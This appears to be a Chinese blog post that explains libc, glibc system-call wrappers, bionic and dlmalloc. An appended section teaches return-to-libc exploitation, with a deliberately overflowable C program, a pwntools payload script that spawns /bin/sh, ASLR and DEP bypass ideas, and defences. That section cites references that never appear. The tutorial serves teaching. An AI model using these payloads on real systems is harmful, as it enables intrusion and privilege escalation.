libc

1. libc
(1). libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。
    libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。
    正如ANSI C是C语言的标准一样,libc只是一种函数库标准,每个操作系统都会按照该标准对标准库进行具体实现。
    通常我们所说的libc是特指某个操作系统的标准库,比如我们在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。
(2). 类Unix操作系统通常将libc库作为操作系统的一部分 (被视为操作系统与用户程序之间的接口)

    libc库不仅实现标准C语言中的函数,而且也包含自己所属的函数接口。比如在glibc库中,既包含标准C中的fopen(),又包含类Unix系统中的open()。在类Unix操作系统中,如果缺失了标准库,那么整个操作系统将不能正常运转。在Android也是一样的:
    而Windows系统并不将libc库作为整个核心操作系统的一部分。通常每个编译器都附属自己的libc库,这些libc既可以静态编译到程序中,又可以动态编译到程序中。也就是说应用程序依赖编译器而不是操作系统。
(3). 封装函数
    在Linux系统中,glibc库中包含许多API,大多数API都对应一个系统调用,比如应用程序中使用的接口open()就对应同名的系统调用open()。
        glibc库中通过封装例程(Wrapper Routine)将API和系统调用关联起来。
        API是头文件中所定义的函数接口,而位于glibc中的封装例程则是对该API对应功能的具体实现。
    事实上接口open()所要完成的功能是通过系统调用open()完成的,因此封装例程要做的工作是先将接口open()中的参数复制到相应寄存器中,然后引发一个异常,从而系统进入内核去执行sys_open(),最后当系统调用执行完毕后,封装例程还要将错误码返回到应用程序中。
    【注意】函数库中的API和系统调用并没有一一对应的关系。应用程序借助系统调用可以获得内核所提供的服务,像字符串操作这样的函数并不需要借助内核来实现,因此也就不必与某个系统调用关联。
    也不是必须通过封装例程才能使用系统调用,syscall()和_syscallx()两个函数可以直接调用系统调用。
2. pthread
    bionic libc包含了pthread,pthread另有标准定义,大家也可以参考。
3. dlmalloc
    KK及以前版本用的是dlmalloc作为malloc/free的分配器,学习dlmalloc对于堆内存管理是非常必要的。具体资料可以到网络搜索。
结语
    libc是linux/Android最基础的库,掌握它将更好理解NE。
    
### Return-to-libc 攻击示例与实现 Return-to-libc 是一种经典的二进制漏洞利用技术,旨在通过覆盖函数返回地址,使其指向 libc 中的已有函数(如 `system`),从而绕过 DEP(数据执行保护)机制。这种攻击方式在栈溢出场景中尤为常见,尤其是在无法直接执行 shellcode 的情况下。 以下是一个典型的 return-to-libc 攻击示例,假设目标程序存在栈溢出漏洞,并且可以通过覆盖返回地址来调用 `system("/bin/sh")`: ```c #include <stdio.h> void func() { char str[0x20]; read(0, str, 0x50); // 存在栈溢出 } int main() { func(); return 0; } ``` 在上述代码中,`read` 函数从标准输入读取 0x50 字节到大小为 0x20 的缓冲区中,导致栈溢出,攻击者可以利用此漏洞覆盖函数返回地址[^1]。 #### 攻击实现步骤 1. **查找 libc 函数地址**:使用调试工具(如 GDB)或 ROPgadget 找到 `system` 和 `/bin/sh` 字符串在内存中的地址。 2. **构造 payload**:构造一个包含缓冲区填充、`system` 地址以及参数 `/bin/sh` 地址的 payload。 3. **发送 payload**:通过网络或本地输入将 payload 发送给目标程序,使其执行 `system("/bin/sh")`。 ```python from pwn import * # 假设已知 system 和 "/bin/sh" 的地址 system_addr = 0x08048450 bin_sh_addr = 0x080be408 # 构造 payload payload = b'A' * 0x20 # 填充缓冲区 payload += b'BBBB' # 覆盖保存的 ebp payload += p32(system_addr) # 覆盖返回地址为 system payload += p32(0xdeadbeef) # 返回地址(可忽略) payload += p32(bin_sh_addr) # 参数 "/bin/sh" # 启动进程并发送 payload p = process('./vuln') p.sendline(payload) p.interactive() ``` 在上述示例中,攻击者利用栈溢出漏洞将返回地址覆盖为 `system` 的地址,并将 `/bin/sh` 作为参数传递给该函数,从而获得一个交互式 shell[^3]。 #### 绕过安全机制 尽管现代系统引入了 ASLR(地址空间布局随机化)和 DEP 等安全机制,return-to-libc 攻击仍然可以通过以下方式绕过: - **泄漏 libc 地址**:通过格式化字符串漏洞或信息泄露漏洞获取 libc 的基地址,进而计算出 `system` 和 `/bin/sh` 的实际地址。 - **使用 ROP 链**:在无法直接调用 `system` 的情况下,可以使用 ROP(Return-Oriented Programming)技术构造更复杂的攻击链,例如先调用 `setuid(0)` 提权,再调用 `execve("/bin/sh", 0, 0)`。 #### 相关防御策略 为了防止 return-to-libc 攻击,可以采取以下措施: - **启用 ASLR**:随机化进程地址空间布局,使攻击者难以预测 libc 函数地址。 - **使用 Stack Canaries**:检测栈溢出,防止返回地址被篡改。 - **控制流完整性(CFI)**:确保程序控制流始终在合法路径上,防止跳转到非法地址。 - **In-Place Code Randomization**:通过代码变换技术,增加攻击者利用已有代码片段的难度[^4]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值